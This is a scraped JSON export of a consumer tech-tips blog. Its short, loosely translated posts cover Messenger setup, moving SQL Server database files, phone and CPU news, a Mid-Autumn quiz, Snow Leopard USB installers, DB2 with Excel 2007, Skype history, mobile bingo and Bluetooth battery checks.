Messenger can keep track of your contacts and notify you when you add a contact that uses Messenger. You can skip this step.\nMessenger will check for new contacts and automatically add them to your friends list if the phone number is linked to a Messenger account.\n Start using Messenger. After logging in, you can use Messenger to chat with your Facebook friends. Note that the Windows Phone version app follows the iOS and Android versions, without too much functionality.\n Access.messenger.com in web browser. You can use the Messenger website to access messages on your computer.\nWebsitemessenger.comis the only way to access Messenger from a computer. Do not download Messenger programs programmed by others as they are unofficial and carry a lot of risk.\n Sign in with your Facebook account. If you're logged into the same Facebook account in your browser, you'll see a \"Continue as Your Name \" button. Click \"Switch Account\" if you want to log in with another Facebook account.\n Start using the Messenger website. You can use most of the same functions on the mobile app. The conversation is listed on the left side of the screen. Clicking will expand the conversation, you can see the contact information on the right hand side.\nFacebook Messenger ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6YrKGVqMFuw8CyZK2nXZ67tMDApaNmnpGYsqO7zqRkpp2jqLKvs8Sr\n","link":"/post/the-easiest-way-to-install-facebook-messenger/","section":"post","tags":null,"title":"The easiest way to Install Facebook Messenger"},{"body":"Technically, you can use the ALTER DATABASE syntax to move any system or user database files that define, initialize, except for the Resource database. To move these data files, you need:\nSpecify the name and path of the file. Full path of new data file. Note that if you do it this way, you can only move one file at a time. ALTER DATABASE's general structure includes:\n1. Find the database name and log file with the command: USE master SELECT name, physical_name FROM sys.master_files WHERE database_id = DB_ID (\"Personnel\");\n2. Set to OFFLINE mode: ALTER DATABASE Personnel SET offline GO\n3. Move the file to a new location using the command: ALTER DATABASE Personnel MODIFY FILE (NAME = Personnel_Data, FILENAME = \"C: DataPersonnel_Data.mdf\") GO\n4. Repeat the above commands with other data and log files. 5. After finishing, set ONLINE mode with the command: ALTER DATABASE Personnel SET online GO\nAnd finally, check the database changes:\nUSE master SELECT name, physical_name FROM sys.master_files WHERE database_id = DB_ID (\"Personnel\");\nOr besides, if you want to move data by full-text path, just declare the new path instead of the new path + the file name as usual. The full steps are as follows:\n1. Set OFFLINE mode for database by command: ALTER DATABASE database_name SET offline GO\n2. Move each file one by one: ALTER DATABASE database_name MODIFY FILE (NAME = logical_name, FILENAME = \"new_path\". GO\n3. Do the same with other catalog files. 4. Set the database to ONLINE with the command: ALTER DATABASE database_name SET online GO Some notes to know when using the ALTER DATABASE command, please refer here.Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjK2fnmWRocGmvoydmK2ZkpbApnnCqKSmmZ6ZerW7jKagoKqRqbJusMCtmJuZo5p6qrqMrKilZaOav7ex0Q%3D%3D\n","link":"/post/use-the-alter-database-command-to-migrate-database-in-sql-server/","section":"post","tags":null,"title":"Use the ALTER DATABASE command to migrate DATABASE in SQL Server"},{"body":"The flip phone with 3 screens in this concept is the product of a company called Turing Robot Industries (TRI). This versatile clamshell smartphone is named HubblePhone and its design concept is inspired by the Hubble telescope.\nHubblePhone has a slightly similar shape to the Nokia 6260 but is much more modern. It includes the main body with 4K screen and an extra part above with 2 Full HD screens, which can be folded in many different angles. All screens are almost borderless.\n  HubblePhone is equipped with Snapdragon CPU 855, 8GB of RAM, maximum memory of 256 GB on each separate part of 2 folds. Each part is also equipped with a separate 3,300 mAh battery (below) and 2,800 mAh (above).\n   HubblePhone's camera has an amazing 15x optical zoom capability with up to 60MP resolution, aperture varies from f / 2.8 - f / 5.6.\n  Android P and Sailfish 3 operating systems are preinstalled on HubblePhone and will work together.\n  HubblePhone will be launched around June 2020 in the US at a price not cheap, $ 2750.\nSee more:\nThe cult phone Palm was about to be 'revived' once. Samsung's new durable OLED screen passes the test of being hammered This is the first phone announced by Apple and it is not iPhone Smartphone with 9 cameras coming soon ncG1vNJzZmismaXArq3KnmWcp51kxKLAwqFkraCVYoC0r9GenKdloJ28r7GMnKanm5WlwW61zaynoqqVmXqjxYyaZK2dnJrApLvPnmSfrZyherCyjKyaop2emLJussicq6Knng%3D%3D\n","link":"/post/watch-the-3-screen-phone-concept-inspired-by-a-telescope-full-of-science-fiction/","section":"post","tags":null,"title":"Watch the 3-screen phone concept inspired by a telescope, full of science fiction"},{"body":"Serial Number is a concept that is very familiar to anyone because it appears daily, on all kinds of goods, items in life. Serial numbers have different meanings depending on the type of product or field of the item. To find out more about what Serial Number is, readers can refer to the article below.\nList of bar codes in countries around the world and how to read to know the origin of goods What is a barcode? Instructions on how to create barcodes for products What is a QR code? Meaning of codes on imported fruits What is serial number? Serial Number is abbreviated as Serial No., SN or S / N in the form of a string of characters used to identify a product with a product code. All products have serial numbers, such as computers, phones, packaged products, and external labels.\nDepending on the manufacturer and the type of product, the serial number characters will vary, may only have numbers or include letters and numbers. Printing a Serial Number on such a product will identify the specific product type. If using the product code scanner will display the product name, even your account name to pay or check equipment warranty.\nSome manufacturers rely on serial numbers to track products, check product quality, or combat counterfeiting.\n  2. Serial Number in the computer As said, Serial Number appears on the computer, including the keyboard, mouse or monitor. Internal components such as hard drives, optical drives and motherboards also have Serial Numbers.\nWith the software also apply serial numbers to identify who buys the software, each buyer will have different serial numbers. Then the serial number will identify the software used for 1 customer and only install on 1 computer only. There will be no two series on the same software because they are registered with the manufacturer.\n  To find the serial number in the computer, we can check on the bottom of the laptop or the back or inside the case of the desktop. If not, we can look it up through information on the system. Read the article How to find the serial number of a Windows computer.\nFor mobile devices or Macs, users refer to the article below.\nInstructions on how to find the serial number of the Mac How to check the warranty of Apple devices   Hope this article was helpful to you!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjmr%2Bqrctmpa6lkpq%2F\n","link":"/post/what-is-serial-number/","section":"post","tags":null,"title":"What is serial number?"},{"body":"After a long wait, AMD today officially announced two new Ryzen CPU models for the desktop market, including Ryzen 3 3300X and Ryzen 3 3100. Both processors are quad-core with 8 streams and TDP 65W. The base clock frequencies are 3.8GHz and 2.6GHz, respectively, with maximum clock speeds of 4.3GHz and 3.9GHz.\nBoth Ryzen 3 3300X and Ryzen 3 3100 are developed on AMD's new 7nm Zen 2 architecture - similar to the architecture being used with Ryzen 4000 mobile processors, processors in Xbox Series X . for Seeing AMD is planning to universalize the Zen 2 architecture to cheaper product lines. This can be considered good news for not only AMD fans but also the desktop CPU market.\nThe Ryzen 3 3100 is priced at just $ 99 (about VND 2.3 million), while the Ryzen 3 3300X is priced at $ 120 (about VND 2.8 million), a very reasonable price from AMD. Comes with the new processor is the B550 motherboard. AMD says that the B550 motherboard is the only main chipset that supports PCIe 4.0. That means you get twice the bandwidth compared to the B450 motherboard.\nAND Ryzen 3-series Ryzen 3 3100 and Ryzen 3 3300X processors will hit shelves on May 21, while B550 motherboards will be on sale from June 16 via ODMs like ASRock, ASUS, Biostar, Colorful, GIGABYTE and MSI. Ryzen 3 3300X and Ryzen 3 3100 promise to play an important role in AMD's business strategy in 2020.\nA few days ago, AMD also introduced a series of 3 generation EPYC server CPUs, including 7F32, 7F52 and 7F72, with 8, 16 and 24 cores respectively, committed to significantly improving the power. Strong handling compared to its predecessors.\nncG1vNJzZmismaXArq3KnmWcp51krq6wjJqlp6elo7CmsIytn55loq7HprqMbGRsa2BlxW6tzZ1kq7Gqmrtuf4xsaGloXZi9tr%2BMn6arZZSawKzAzqmq\n","link":"/post/amd-announced-the-ryzen-3-3300x-and-ryzen-3-3100-cpus-for-desktops/","section":"post","tags":null,"title":"AMD announced the Ryzen 3 3300X and Ryzen 3 3100 CPUs for desktops"},{"body":"Apple is expected to launch the second-generation iPhone SE, likely going to be called the iPhone 9 in March. And according to the latest leaked image, the device will have a pretty white color version.\n Although this leaked image does not say much about the iPhone 9, it has partly confirmed that the successor of the iPhone SE will only have a single camera and the design will wear the iPhone 8.\nAccording to rumors, the iPhone 9 or iPhone SE2 will have a 4.7-inch screen and design inspired by the iPhone 8. It will still use an LCD screen to save costs. However, experts believe that Apple will soon convert all iPhone models to use OLED screens from 2020.\niPhone 9, though not much has changed in terms of design, will be strongly upgraded in terms of internal configuration with the latest Apple A13 chip, 3GB RAM. It will likely bring the Touch ID fingerprint sensor back to the Home button just like the iPhone 8.\nRumor has it that the iPhone 9 will sell in the US for $ 399 for the 64GB version and $ 449 for the 128GB version.\nAt the moment, the iPhone 8 is the most affordable iPhone version in the US market, with prices starting at $ 449. Therefore, it is likely that the iPhone 8 will receive the last discount when the iPhone 9 launches.\nRefer to Softpedia ncG1vNJzZmismaXArq3KnmWcp51krrG8xJqpoqaXYraurcaeZKKomKS7pnmYZq6hoaSaerex0aygqKZdlsFussirqq1ll6Gur6%2FEZqOio5VitrG0zqecZnA%3D\n","link":"/post/appearing-image-iphone-9-white-version-at-first-glance-like-iphone-8/","section":"post","tags":null,"title":"Appearing image iPhone 9 white version, at first glance like iPhone 8"},{"body":" How to organize games for children happy Mid-Autumn Festival The legend of the grave on the moon Mid-Autumn Festival is coming, have you got any idea to increase the bustling atmosphere for the Moon Festival really fun and meaningful for children? In addition to familiar activities such as lantern procession, lion dance, singing, the Mid-Autumn Festival quizzes are also an extremely interesting and meaningful part to create a healthy playing environment, giving children the opportunity. display talent, express intelligence, quick mind. So, in this article, Network Administrator will update funny mid-autumn riddles with answers for your reference and organize the most fun Mid-Autumn Festival for children.\n  Riddles or Mid-Autumn Festival 1. In what country is the Mid-Autumn Festival coming from?\nA. China\nB. Korea C. Japan\n2. Which cakes are usually present during Mid-Autumn Festival in families?\nA. Cookies\nB. Flexible cake C. Both A and B are correct\n3. What types of toys are most popular in the Mid-Autumn Festival in Vietnam?\nA. Mask\nB. The light is on C. Both A and B are correct\n4. What activities do Vietnamese people usually organize during Mid-Autumn Festival?\nA. Water puppet dance\nB. Singing to them C. Unicorn dance\n  5. In the evening of Mid-Autumn Festival, outside of the festival, what kind of folk do you hold?\nA. Execution\nB. Exam the lamp C. Both A and B are correct\n6. In the legend, \"Ms Hang\" in any palace in Thien Dinh?\nA. Heavenly North Pole\nB. Quang Han C. Kun Luan\n7. In the fairy tale, does Cu Cu for some reason have to escape to the moon?\nA. Lies\nB. Loans C. Hold on to the Da tree with a complete birth control\n8. According to folklore, who live with Hang Nga and uncle Cuoi on the moon?\nA. Pigsy\nB. Jade Rabbit C. Ton Ngo Khong\n  9. What song is the musician's lamp?\nA. Pham Tuyen\nB Trịnh Công Sơn C. Hoang Lan\n10. What verse after Uncle Ho wrote in the Mid-Autumn Festival?\nMid-autumn moon is as bright as a mirror\nUncle Ho contemplates the sight of children and children Afterwards, I wrote some lines Send it to the children, please remember.\nA. 1951\nB. 1964 C. 1968\n11. Does the Mid-Autumn Festival have any other names?\nA. Lunar New Year\nB. New Year / Children's Day C. Both sentences are true\n12. In which countries are Mid-Autumn Festival celebrations?\nA. Countries in Southeast Asia\nB. All Asian countries C. Most East Asian countries\n  13. Why are countries in Europe and America not celebrating the Mid-Autumn Festival?\nA. Because they don't like it\nB. Because Mid-Autumn Festival is Chinese New Year C. Because they only use the Sun Calendar\n14. Who is the Mid-Autumn Festival?\nA. Childhood Children\nB. Everyone C. For all Youth\n15. Who are the two most talked about characters during the Mid-Autumn Festival?\nA. Sister Hang and Ngoc Ngoc\nB. Uncle Cuoi and Ngoc Ngoc C. Chu Cuoi and Sister Hang\n16. According to Fairy Tales, who was the first Vietnamese to the Moon?\nA. Ms Hang\nB. Chu Cuoi C. Thien Loi\n  17. What is the legend of Cu Cuoi attached to what tree?\nA. Figs\nB. Banyan Tree C. Bodhi Tree\n18. When being dragged to the Moon, what is the pebble with?\nA. Flute\nB. Hammer C. Ax\n19. Which song is the most popular song about Mid-Autumn Festival?\nA. The Starlight Lamp\nB. Lion Dance C. Picking August Lights\n20. What is the Mid-Autumn Festival Night?\nA. Lantern Association\nB. Full Moon Festival C. The Dance Association\n  21. What are the three animals that often appear in Mid-Autumn Moon night dances?\nA. Lan - Su - Rong\nB. Lan - Phung - Dragon C. Lan - Dragon - Snake\n22. Mooncake is usually round and square. What does this circle and square mean?\nA. Full moon of square land\nB. Heaven square round land C. The sky is round.\n23. The Mid-Autumn Festival night has 2 special fun activities?\nA. Pick up the Lamp and the Moon Cake\nB. Distributing moon cakes and dancing to Lan C. Procession of Lights and Dance of Lan.\n24. Compared to the Earth, the Moon is bigger or smaller?\na. Less\nb. Bigger c. Equal\n  25. How long does it take for the Moon to complete a cycle around the Earth?\na. 29 days\nb. 30 days c. 31 days\n26. Does the Moon have light on its own?\na. Have\nb. Is not\n27. Is there water on the Moon?\na. Have\nb. Is not\n28. The Moon has a layer of surrounding atmosphere like the Earth. Right or wrong?\na. It's correct\nb. False\n  29. In what year was the first time a man set foot on the Moon?\na. 1968\nb. 1969 c. 1970\n30. The Moon is the only celestial body that humans have come to. Right or wrong?\na. It's correct\nb. False\n31. Why is the Moon round, sometimes missing?\na. Because the Moon is distorted\nb. Because the Moon is obscured by the sun c. Because sunlight shines on the Moon every other time\n32. When can the real moon happen?\na. When the Sun, Earth and Moon lie in a straight line\nb. When the Sun, Moon and Earth lie in a straight line c. When the Moon, the Sun and the Earth lie in a straight line\n  33. During the month, when did we not see the Moon exactly?\na. 30th\nb. The last day of the month c. The first day of the month\n1.A2.C3.C4.C5.C6.B7.C8.B9.A10.C12.C13.C14.A15.C16.B17.B18.C19.C20.B21.A22.C23.C24.A25. A26.B27.B28.B29.B30.A31.C32.A33.BncG1vNJzZmismaXArq3KnmWcp51ksLC4y56araGfo3qwsoytn55lkprAtXnFrqVmqKWvx62x0marqGWgoa66ecinZK2glWK6qrDArquupZ5is6a%2F06KtmqQ%3D\n","link":"/post/collection-of-the-best-fun-puzzles-to-play-in-the-mid-autumn-festival/","section":"post","tags":null,"title":"Collection of the best fun puzzles to play in the Mid-Autumn Festival"},{"body":"Network administrators - Every Mac system has a DVD drive, and in most situations you won't need a Snow Leopard USB drive.However, there is no guarantee that your DVD drive will always work stably while you need to reinstall or upgrade your operating system. This is the case where the USB installation drive will become very useful. Also, with this USB drive you can use it for many other systems without CD-ROM drive (eg Netbook). \n In this article, we will create a USB flash drive that installs the Snow Leopard operating system in place of this operating system DVD. Request Before installing, you need the following devices: A Mac system has a DVD-ROM function. The DVD disc contains the installation of Snow Leopard. A USD drive has a minimum capacity of 8GB . Proceed to create a Snow Leopard USB drive\nFirst connect the USB drive to the Mac system. Then Backup all data in this USB drive. Insert the DVD containing the Snow Leopard installation into the DVD-ROM drive. Go to Utility | Disk Utility . You will then see the USB drive and Snow Leopard installation disc displayed in the left panel.  Figure 1: Disk Utility displays the drive that indicates the system is connected to USB and receives the installation disc. Click on the USB drive. In the right pane, click the Partition tab. Here are some things you need to do on this tab: In the Volume Scheme , select the 1 Partition item in the drop-down list. In the Name field, enter a new name for the partition. For example we named it Mac OS X Install DVD . In the Format field, select the Mac OS Extended (Journaled) item in the drop-down list.\n Figure 2: Enter information for the USB partition. At the end of this tab (Partition) press the Options button. You will then see a new window displayed with 3 options: GUID Partition Table . This option allows you to use a USB drive to boot an Intel-based Mac system, or use this USB drive as a non-bootable disk with any Mac system using Mac OS X 10.4 or other versions newer version. Apple Partition Map . This option allows you to use this drive to boot a PowerPC Mac system, or you cannot use this drive to boot any Mac system. Master Boot Record . This option allows you to use the selected drive to boot DOS and Windows-based computers, or use it with devices that require compatibility with Windows or DOS partitions. Here, select the GUID Partition Table option , then click OK . Then the USB drive will be re-created and reformatted.\n Figure 3: Select the configuration option for the USB drive. When this process is complete click on the Restore tab, and you will see two Source and Destination fields. Drag the Mac OS X Install DVD item into the Source field. Then drag the newly formatted USB drive into the Destination field.\n Figure 4: Insert the Snow Leopard installer into the USB partition. Then click the Restore button. This will copy the IMAGE of the Snow Leopard installation from the DVD to the USB drive. Then wait until this process is complete (this time depends on the system configuration and USB write speed). Once the entire process has finished successfully, you will be able to boot the system and install the Snow Leopard operating system from this USB flash drive. To be able to boot Mac from USB, simply select USB as the first boot drive in System Preferences | Startup Disk .  Figure 5: Select USB as the boot drive for Mac to install Snow Leopard.\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZq2jl3qqutKtmKWkXai7sMOMpZyoqJGnsQ%3D%3D\n","link":"/post/create-usb-install-snow-leopard/","section":"post","tags":null,"title":"Create USB install Snow Leopard"},{"body":"DB2 - The largest, strongest and fastest database management system in the world today developed by IBM. Compared to Oracle, its main and most powerful competitor, DB2 is not as well known. But believe that in the near future, DB2 is the next choice for database management generation besides Microsoft Server or Oracle of Oracle. Surely many readers of TipsMake.com will feel quite confused with DB2 8.5 or DB2 9.2. This series will introduce some of the DB2 9 application methods with Microsoft Excel 2007. Hopefully they will be useful for those who are interested in DB2, the future management system of the database. Part 1: Insert DB2 9 data into Microsoft Excel 2007 \n To put data into Excel 2007 files from the DB2 Data Server, you need to start with a connection (database connection). This function is supported in Excel 2007, on the Data tab (see image below). Data tab is a new function in Microsoft Excel 2007. With Excel 2007, you can perform a lot of data functions besides common operations like formatting, editing. Most notably, you can import data from various sources into Excel. To enter data, use the ' Get External Data ' function (in the left pane of the Data tab). That's exactly what you need when you want to import DB2 9 data into an Excel 2007 file. To import the data content of the STAFF table into the Excel 2007 worksheet, follow these steps:\n1. In the ' Data ' tab, select ' From Other Sources '\u0026gt; ' From Data Connection Wizard ' in the ' Get External Data ' box:\n    As you can see in the image above, Excel 2007 supports importing data from various sources (sql server files, sql server analysis services, xml, Microsoft query) into the worksheet. But in the context of this article, we will import the data of DB2 9, which is not defined in Excel 2007, so you need to select ' From Data Connection Wizard '.\n  2. The ' Data Connection Wizard ' window opens, select ' Other / Advanced ' and click ' Next '.\n  3. Open the ' Data Link Properties ' window, select ' IBM OLE DB Provider for DB2 ' in ' OLE DB provider (s) ' and click ' Next '.\n  When you install DB2 9 client on your machine, the corresponding 'OLE DB provider' will also be installed automatically. And Excel 2007 will use this component to retrieve data from the DB2 database.\nThe illustration in step 2 shows the method for you to choose the type of ' ODBC DSN '. When the data source is entered as a DB2 database, you can choose the type of database configuration that is the user (user), system (system) or a DSN file using the Windows utility available - the Data Source function ( ODBC). My SAMPLE sample database is configured as a system DSN file, so I can also use this connection to query data instead of just putting data into an Excel 2007 file.\n  4. Select the database you want to connect from the ' Specify the DB2 database ' box. Enter the correct login information for your database in the ' Log on Information ' box and click ' Test Connection '.\n  If the database you want to connect to is not in the type defined on the machine running Microsoft Excel 2007, you can search for existing Data Servers and their databases (as well as DB2 Connect entries if you want to Create additional DB2 connections to machine I or DB2 for Z machines using the ' DB2 Discovery ' component built into Excel. You can do another type by selecting the ' Direct server connection ' button and selecting a database from the ' Select the database on the server ' list (click the ' Refresh ' button to update the server list and list). Latest database before selection).\n  Somewhat out of the scope of this article a bit, but it is better to note that you can use the ' Advance ' function to set advanced properties for this connection. For example, set the timeout for connecting to 'time-out', or create a hard-coded password.\n  5. Click ' OK ' when connecting successfully. The DB2 OLE DB Provider is usually fully integrated in Excel 2007. For example, if Excel 2007 cannot connect to the SAMPLE database because the database instance is down, an error message as shown below will be displayed:\n  If this database is being used (maybe because it is in a silent state or a backup process is being performed), Excel 2007 will display an error message:\n  6. The ' Data Connection Wizard ' opens. Select the table with the data you want to import into Excel 2007 and click ' Next '. For example, you can select the content of the STAFF table located in the SAMPLE database.\n  Note : To create the SAMPLE database in DB2 9, you need to enter the db2sampl statement from the operating system's Command Prompt screen. 7. You may optionally leave the information for this connection or not. But it will be better if you record it to be reused later. After that, click the ' Finish ' button.\n  If you do not want to record this connection in the future, simply click the ' Finish ' button in the previous step. In the image above you can see that I have recorded the current database connection (which is the only connection to the STAFF table) for future use. You can optionally add a description for this connection object (in the ' Description ' field) and search for the metadata (in the ' Search Keywords ' field) to make the following query times easier. Finally, note that you can set good controls for the authentication section by clicking ' Authentication Settings '. 8. The ' Import Data ' window opens. Use this window to describe where the data will be placed in Excel 2007 worksheet. You can select the default values ​​and press OK .\n  As you can see in the image above, the DB2 data store can be either Table or Pivot Table Report or both. I will discuss them in the next article. (If you want to configure in more detail the properties of the connection string, click the Properties button.)\n  The Excel 2007 worksheet will display form data:\n  Of course, at this point you can adjust the display data to suit you through formatting functions strongly support in Excel 2007 and apply Table Style style for tables from the Design tab. Eg:\n  You can use the ' Table Style Options ' function in the Design tab like:\n  When the data is downloaded to Excel 2007, you can use the ' External Table Data ' function in the Data tab to manage the database connection. For example, select Unlink will separate data from the table and turn them into independent:\n  And you can quickly filter the returned data without writing any SQL command line:\n  One of the things I really like about Excel 2007 is the powerful charting feature. Using this method you can easily display your DB2 9 data as charts.\n  In the chart above you can see the salary and commission percentages for 5 employees in room 20. Of course, as long as you don't disconnect the log file, you can refresh the data, the chart will be Update immediately. For example, run the following DML command to change the percentage of Pernal commission achieved (Pernal is an employee in the chart):\nUPDATE TABLE STAFF SET COMM = 55565.56 WHERE ID = 20\nNow refresh the data:\n  And of course, the base data is also updated:\n  Let us rethink how to use the most common form of data with Excel: segmenting data into an unofficial Data Server. So, if your real data changes, when will your analysis for real data be? Let's wait for the answer in the next post.\nSummary In this article we have seen how easy and easy it is to import DB2 9 data into Excel 2007 files. Besides, we also know some useful components to change the way data is displayed. Marketing (using different functions of Table Tools) as well as how to create a chart in Excel and how to refresh real data.\nncG1vNJzZmismaXArq3KnmWcp51ksaN%2BjHJkmqaUYrqqr9GoqqiepGKyua%2FEpWRraGBserGt0a1kamWXmsFusMCtmA%3D%3D\n","link":"/post/db2-9-and-microsoft-excel-2007/","section":"post","tags":null,"title":"DB2 9 and Microsoft Excel 2007"},{"body":"As one of the popular multimedia chat and texting services today, Skype helps users to contact friends as quickly as possible. Besides, we can send offline files on Skype easily without any error message.\nConversations, text messages, calls, send and receive files are saved by Skype. This feature is very useful if you want to find some important information or data in previous conversations, but not yet saved them. Join the Network Administrator to review the Skype chat history in the tutorial below.\nMethod 1: Set options on Skype: With short content conversations, you just click on the Skype friends' nick you want to review the message history. At the right chat frame, scroll up and down to review the chat history.\nHowever, for those who regularly send messages on Skype, it is impossible to perform the above actions when the chat content is high.\nStep 1: At the Skype nick you want to review the history, click the Conversation tab .\n  Step 2: You will see a list of settings for conversations on Skype, select View Old Messages . Immediately, Skype will ask you when you want to review the conversation in the past: Yesterday (yesterday), 7 days (7 days ago), 30 days (30 days ago), 3 months (3 months ago).\nYou need to click on the time you want to review the conversation history on Skype.\n  Soon, the right chat frame interface will take you to the chat close to the time we selected. To find the right date, just drag the vertical bar up and down to find it.\n  Method 2: Use SkypeLogView software: Download SkypeLogView software Step 1: After we download the software SkypeLogView following the link above to the computer, proceed to extract the .zip file .\n  Step 2: Open the SkypeLogView folder after unzipping, run the SkypeLogView setup file. The software is very light, so the process takes no more than 5 seconds for the user. Besides, the tool also does not contain virus files or third party programs, so you can safely use it.\n  Step 3: Immediately after the installation is completed, the software will display the entire history of conversations, SMS messages, voice calls, . on your Skype account.The history of Skype conversations is sorted by time, convenient for management.\n  Step 4: Next, we will export the conversation content into the HTML file for more details.\nSelect the Skype history you want to view, click View .\n  Next, click HTML Report - Select Items .\n  You will select the browser to open this HTML file. Soon the content of the conversation appeared.\n  If you want to review the history of all Skype chats and also View, select HTML Report - All Items .\n  Soon the content of the entire history of text, call conversations, etc. will be displayed on Skype arranged in different time.\n  So, we have introduced you to 2 ways to review the content history of Skype conversations. With SkypeLogView software, we can export conversation content history to HTML files and can choose to view certain conversation history, or the entire conversation on Skype.\nRefer to the following articles: Guide to chat with lots of Skype nick on the same computer 10 tips to know if you're using Skype How to make a Skype call on the browser\n I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddq7amw8innmallajAorPEZp%2Biq6Skv7p5zqdkrKOppbI%3D\n","link":"/post/guide-to-viewing-message-history-on-skype/","section":"post","tags":null,"title":"Guide to viewing message history on Skype"},{"body":"Once considered little more than an industry afterthought, with many of the most popular games consisting of hastily-produced point-and-click flash-style games, things have changed significantly in recent years.\nIn 2020, the mobile gaming industry crossed a major milestone, surpassing all other forms of gaming to become the most significant and lucrative form of gaming in the world, responsible for just over half of all gaming revenue, at around $85 billion.\nBut how did all of this happen, and what does mobile gaming owe its success to? While mobile penetration, better-quality mobile hardware, and buy-in from major console game developers are all contributing factors, this does not explain the origins of mobile gaming's success.\nFor this, we have to go much further back, to the classic and humble game of bingo. If you are wondering why bingo is so important to the success story of modern mobile gaming, read on to find out more.\u0026nbsp;\n  Bingo has become a mainstay of the mobile gaming industry in recent years\u0026nbsp;(Source: Adobe)\u0026nbsp;\n1. From Bingo Halls to Mobile Apps\u0026nbsp; Although many people associate bingo with modern mobile bingo apps and social media games, the origins of bingo stretch all the way back to 16th century Italy, where the game went by the name of\u0026nbsp;Il Gioco del Lotto d'Italia'.\nThe game's popularity began to spread across continental Europe in pre-revolutionary France, where the 18th-century Parisian aristocracy proved to be huge fans of the game they dubbed 'Le Lotto', often throwing raucous bingo parties in the elegant townhouses of the Marais and the\u0026nbsp;Faubourg Saint-Honoré.\nSoon after, bingo made its way to the shores of Britain, where it gradually moved from being an aristocratic pursuit to a more common game, as the world's first mass bingo halls opened in London in the 19th century.\nIt is believed that the game first earned the name 'bingo' sometime in the 1920s in the US state of Georgia. As the legend goes, the toy manufacturer Edwin S. Lowe discovered the game at a carnival, where it went by the name of \"beano\" as beans were typically used to mark numbers on the bingo sheet.\nWhen playing beano with friends, one of Lowe's elated companions mistakenly shouted \"bingo!\" they scored a full house, with Lowe\u0026nbsp;deciding to market the game to the American public under that name.\nThroughout the 20th century, especially in Britain and the US, bingo halls became the epicenter of social life, mostly among urban and suburban lower-middle classes. The simplicity of the game, highly social atmosphere, and the potentially huge prizes on offer for a very modest buy-in all contributed to the popularity of the game.\u0026nbsp;\nBy the beginning of the 21st century, bingo's popularity was waning across Europe and the US, with thousands of once-popular bingo halls closing. However, this decline was short-lived, thanks to the rapid ascendancy of online bingo, particularly on mobile devices.\nYou can now play a staggering variety of bingo games all from a single mobile app. All you need to do is create an account, verify your information, add a mobile payment platform, and begin playing. No matter where you are in the world, you can play real-money bingo with real players, simply by opening up a dedicated bingo app, selecting your favorite game, and tapping away.\u0026nbsp;\n2. How Mobile Has Changed Bingo So, how did the rise of mobile gaming help to revive the fortunes of bingo? In short, bingo is tailor-made for mobile app developers. All of the most successful mobile games in history, from\u0026nbsp;Angry Birds\u0026nbsp;to\u0026nbsp;Candy Crush, owe their success to their simple, one-tap formats that allow people to enjoy the full gaming experience with even the most basic smartphone device.\nBingo requires nothing more than a number grid and a random number generator in order to work, making it ideal for any mobile game developer. This is why many prominent mobile game companies quickly leaned into bingo, rolling it out as a simple and effective mobile game that does not require any skill or fancy hardware to play well.\nThis has helped to shift perceptions of the game from something that is old-hat to something that is accessible and immediate - two factors that are essential for mobile gaming success. Now, the growth of app-based bingo gaming is fueling a global resurgence of bingo, albeit in the digital realm. In addition, thanks to the rise of mobile payment solutions such as PayPal and Apple Pay, real money mobile bingo is growing fast.\u0026nbsp;\n  A huge appeal of iBingo is that it is very easy for people to play (Source: Unsplash).\n3. How to Create a Winning Mobile Game\u0026nbsp; Of course, if you want to design and launch your own successful mobile bingo map, it is easier said than done. It is not enough to simply offer a good game of bingo - there are now hundreds of different mobile bingo providers out there, with hugely varying levels of quality on offer. If you want to know what constitutes a successful bingo app, you can look at the most popular places where you can play bingo on mobile.\nFirst, you need a user-friendly app interface that utilizes the principle of mobile UX to provide a smooth and straightforward bingo experience. Second, you need to be able to offer a welcome bonus to new mobile players, such as 15 free bingo spins to anyone who creates an account and downloads the app.\nIt is also important to have a wide range of different bingo games on your app, such as themed bingo titles like\u0026nbsp;Roulette Bingo. In addition, don't forget to offer all of your players total convenience, security, and accessibility.\nA quality bingo site should offer a variety of ways to make deposits and withdraw cash bingo winnings, with popular payment platforms such as Visa, Mastercard, PayPal, and Apple Pay being a good place to start.\nCompetition is fierce, so anyone wishing to break out with a successful bingo app needs to go above and beyond to catch the attention of bingo fans.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJugp5%2BfYsCxscCrn56ZlJqxbsDHnmSmp5Sav695zKiZoqSVYrSiucinnmahnpnCtMDRsg%3D%3D\n","link":"/post/how-bingo-spearheaded-the-modern-mobile-gaming-industry/","section":"post","tags":null,"title":"How Bingo Spearheaded the Modern Mobile Gaming Industry"},{"body":"If you have peripherals, such as a mouse, keyboard, stylus or headset, chances are they are connected by Bluetooth and if you want to check the battery level, you usually have to use software or Battery indicator in peripherals.\nSince the release of Windows 10 version 1809, you can check your battery level faster using the Settings app . Of course, this is only possible if the Bluetooth device supports this feature.\nIn this tutorial, readers will learn the steps to check the battery percentage of mouse, keyboard and other Bluetooth devices on Windows 10.\nHow to check the battery life of a Bluetooth device using Settings To check the battery level of compatible Bluetooth devices, follow these steps:\n1. Open Settings on Windows 10.\n2. Click Devices.\n3. Click Bluetooth \u0026amp; other devices .\n4. In the Mouse, keyboard, \u0026amp; pen section , you can see a battery percentage indicator on the right.\n You can see a battery percentage indicator on the right On supported devices, the battery level updates every time the device and Bluetooth peripherals are connected.\nIf you don't see the battery indicator, it is likely that you are not running a supported version of Windows 10 or your Bluetooth device does not support this feature.\nNow you can check the battery level of your Bluetooth device easily using the Settings app! You can learn more about renaming Bluetooth devices on Windows 10 for easy management.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGaakanBpr7YZqOerpWherCyjJpkm6SlmsGwu9OhZJ2dpp6wpnnOp2SwoZ6ZvLi%2FjGpn\n","link":"/post/how-to-check-the-battery-level-of-a-bluetooth-device-on-windows-10/","section":"post","tags":null,"title":"How to check the battery level of a Bluetooth device on Windows 10"},{"body":"Instagram Stories has added many new and unique stickers. For example, you can post questions on Instagram Stories, insert location stickers in Instagram Stories, etc. This will bring more interesting pictures or videos when we will share them.\nAnd recently Instagram has added selfie sticker when posting photos on Instagram Stories. Specifically, users can insert their faces, or any content in photos taken through the front camera to post on Instagram Stories. The following article will guide you how to integrate selfie photos on Instagram Stories.\nHow to tell stories with Stories on 